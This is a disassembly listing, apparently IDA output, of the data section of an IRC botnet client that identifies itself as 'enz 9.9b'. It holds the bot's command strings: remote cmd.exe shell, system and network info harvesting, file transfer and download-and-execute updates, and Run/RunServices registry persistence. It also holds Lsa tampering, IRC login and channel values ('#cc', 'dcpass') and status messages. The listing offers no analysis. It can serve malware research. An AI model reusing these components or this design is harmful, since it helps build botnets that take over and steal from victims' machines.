		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42768C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_408C36o
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 10h
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: seg000:00408CC6o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_408E5A+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_408F79+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_408F79+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_408F79:loc_4090DDo
		align 4
word_42785C	dw 3Fh			; DATA XREF: sub_408F79:loc_40907Br
					; sub_40A725+1Fo
		align 10h
dword_427860	dd 28207325h, 297325hdword_427868	dd 3F3F3Fh						; seg000:loc_4126A5o
a2003		db '2003',0             ; DATA XREF: sub_408F79+BAo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_408F79+AAo
					; seg000:00412690o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_408F79+98o
					; seg000:00412680o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_408F79+7Eo
					; seg000:00412667o
		align 10h
a98		db '98',0               ; DATA XREF: sub_408F79+6Co
					; seg000:00412657o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_408F79+5Ao
					; seg000:00412647o
		align 4
a95		db '95',0               ; DATA XREF: sub_408F79+46o
					; seg000:00412639o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40922D+ABo
		align 4
off_4278CC	dd offset loc_412F4E	; DATA XREF: sub_40922D:loc_4092A1o
dword_4278D0	dd 4E414Ch	dword_4278D4	dd 6C616944h, 70752Dhdword_4278DC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_4278EC	db    2			; DATA XREF: sub_4092F3:loc_4094ACo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_427930	db    2			; DATA XREF: sub_4092F3:loc_4094A5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 10h
dword_427970	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_4092F3+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_4279A0	db    2			; DATA XREF: sub_4092F3:loc_409486o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 10h
dword_4279F0	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_4092F3+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_427A20	dd 2A2F2Ah	dword_427A24	dd 202E6425h, 3D207325h, 732520hdword_427A30	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409615+60o
		align 4
dword_427A64	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_4096B5+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_427A9C	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_4096F5+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_427ACC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_4096F5+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_427AF0	dd 78h				align 8
dword_427AF8	dd 80000002h, 428300h, 80000002h, 428330h, 80000001h, 428368h
					; DATA XREF: sub_409824+7o
dword_427B10	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409824+63o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_427B58	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:00409A8Ao
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_427B9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:00409A26o
					; sub_409BA0+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_427BD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+362o
					; sub_409F42+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_427C00	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_427C54	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_427C8C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_427CB8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_409BA0+16Ao
		dd 169h
dword_427CD0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_427D04	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_427D3C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409BA0+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_427D74	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409F42+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_427DCC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409F42+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_427E00	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409F42+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: sub_409F42+97o
dword_427E44	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_409F42+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_427E88	db    2			; DATA XREF: seg000:0040A610o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_427EC8	db    2			; DATA XREF: seg000:0040A602o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_427F14	db    2			; DATA XREF: seg000:0040A546o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_427F68	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: seg000:0040A4D5o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:0040A4B3o
					; seg000:0040DD92o ...
		align 10h
unk_427FA0	db    2			; DATA XREF: seg000:0040A45Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_427FEC	db    2			; DATA XREF: seg000:0040A3DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_428028	db    2			; DATA XREF: seg000:0040A355o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_428070	db    2			; DATA XREF: seg000:0040A312o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_4280B4	db    2			; DATA XREF: seg000:0040A300o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_428100	db    2			; DATA XREF: seg000:0040A1F4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40A725:loc_40A768o
					; sub_41198B+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40A725:loc_40A762o
aDisk		db 'Disk',0             ; DATA XREF: sub_40A725:loc_40A75Co
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40A725:loc_40A756o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40A725:loc_40A750o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40A725:loc_40A74Ao
aFailed		db 'failed',0           ; DATA XREF: sub_40A7B6:loc_40A88Eo
					; sub_40A8D1+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40A7B6+6Bo
		align 4
dword_428178	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40A8D1+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_4281C8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40A8D1+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_40A9A3:loc_40A9E8o
dword_42821C	dd 1A0Ch						; seg000:0040AFE8r
dword_428220	dd 1A0Ch	dword_428224	dd 1AA6h	dword_428228	dd 0CCEh						; seg000:004101C8r
dword_42822C	dd 158Dh						; seg000:loc_4102BAr
dword_428230	dd 1		dword_428234	dd 1		dword_428238	dd 1							; seg000:loc_40AE4Cr
byte_42823C	db 78h			; DATA XREF: sub_40A66F:loc_40A67Br
					; seg000:0040BE51r ...
		align 10h
dword_428240	dd 9							; sub_41242C+51r ...
dword_428244	dd 1							; seg000:0040B5D7r ...
aVds017		db 'vds017',0           ; DATA XREF: seg000:0040AB7Ao
					; seg000:0040F06Ao ...
		align 10h
aEnz9_9b	db 'enz 9.9b',0         ; DATA XREF: seg000:loc_410D69o
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:00410EECo
					; seg000:00410FBBo
		align 10h
a1068346466	db '1068346466',0       ; DATA XREF: seg000:0040AF20o
					; seg000:0040AFD9o
		align 4
aCc		db '#cc',0              ; DATA XREF: seg000:0040AF41o
					; seg000:0040AFEFo
aDcpass		db 'dcpass',0           ; DATA XREF: seg000:0040AF58o
					; seg000:0040B001o
		align 4
byte_428278	db 31h			; DATA XREF: seg000:loc_40B017r
					; seg000:0040B025o
a068346466	db '068346466',0
		align 4
aCc_0		db '#cc',0              ; DATA XREF: seg000:0040B03Bo
aDcpass_0	db 'dcpass',0           ; DATA XREF: seg000:0040B04Do
		align 10h
byte_428290	db 64h			; CODE XREF: seg000:loc_40ACEFp
					; DATA XREF: sub_4032B0+3Eo ...
		db 69h,	72h, 74h
		dd 2E656C69h, 6D6F63h
dword_42829C	dd 636C6974h, 36316D6Fh, 6C6C642Eh, 0dword_4282AC	dd 20726944h, 656C6954h, 0dword_4282B8	dd 2D315253h, 0			dd 74726964h, 33656C69h, 6F632E32h, 6Dh
dword_4282D0	dd 692B782Bh, 0	dword_4282D8	dd 31727323h, 0						; seg000:00410028o
dword_4282E0	dd 737323h	dword_4282E4	dd 737323h, 38373837h, 39h, 6464h, 2E6464hoff_4282F8	dd offset a@room	; DATA XREF: seg000:loc_410F48o
					; "*@room"
off_4282FC	dd offset aMirc1_6_99	; DATA XREF: seg000:0040BC21r
					; seg000:00410F64o
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_412A1E+28o
					; sub_412D42+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_412A1E+D4o
					; sub_412D42+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		align 10h
		dd offset byte_42E348
		align 8
dword_4283B8	dd 10h							; seg000:0040BEBBr ...
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41198B:loc_411A96o
					; seg002:004283A8o
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_4282FCo
a@room		db '*@room',0           ; DATA XREF: seg002:off_4282F8o
		align 10h
unk_4283E0	db    2			; DATA XREF: seg000:0040AEFFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartR	db ' Failed to start registry thread, error: <%d>.',0
		align 10h
unk_428430	db    2			; DATA XREF: seg000:0040AEAAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRegistryMonito	db ' Registry monitor active.',0
		align 4
dword_42846C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040AE6Fo
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_4284A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40B07B+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40B1E3+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40B1E3+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0041103Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00411027o
		align 4
dword_42851C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041101Ao
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_428550	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410FFDo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_428584	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410F9Fo
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_4285C4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410F2Fo
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:00410F20o
					; seg000:00410F90o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:00410F0Co
					; seg000:00410F7Co
		align 10h
asc_428650:				; DATA XREF: seg000:00410EDCo
		unicode	0, <~>,0
dword_428654	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410E8Bo
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42868C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410DDDo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_4286CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410DD2o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42870C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410D6Eo
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_428730	db    2			; DATA XREF: seg000:00410D44o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_5	db ' Failed to start secure thread, error: <%d>.',0
		align 10h
dword_428780	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:00410CCEo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:00410CC8o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:00410CC1o
		align 4
aSec		db 'sec',0              ; DATA XREF: seg000:00410C66o
aSecure		db 'secure',0           ; DATA XREF: seg000:00410C55o
		align 10h
unk_4287D0	db    2			; DATA XREF: seg000:00410C4Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_6	db 'Failed to start server thread, error: <%d>.',0
dword_42881C	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42882C	dd 646E6946h, 6C696620h, 65hdword_428838	dd 72027002h, 1F631F6Fh, 2E2Ehdword_428844	dd 636F7250h, 20737365h, 7473696Ch, 0dword_428854	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410AD8o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410ACBo
		align 4
dword_428898	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410AB6o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_410AA9o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00410A81o
		align 4
dword_4288EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410A35o
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42892C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004109F7o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_428958	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:004109CCo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_4289A4	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:00410961o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_4289D4	dd 627573h	dword_4289D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004108ECo
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_428A04	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:004108D1o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_7	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_428A50	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:00410844o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_428A7C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004107C3o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_428AA8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00410794o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_428AD4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0041073Fo
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_428B00	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0041072Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_428B50	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:004106BDo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:0041069Do
		align 4
dword_428B8C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:00410646o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
unk_428BC0	db    2			; DATA XREF: seg000:0041061Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
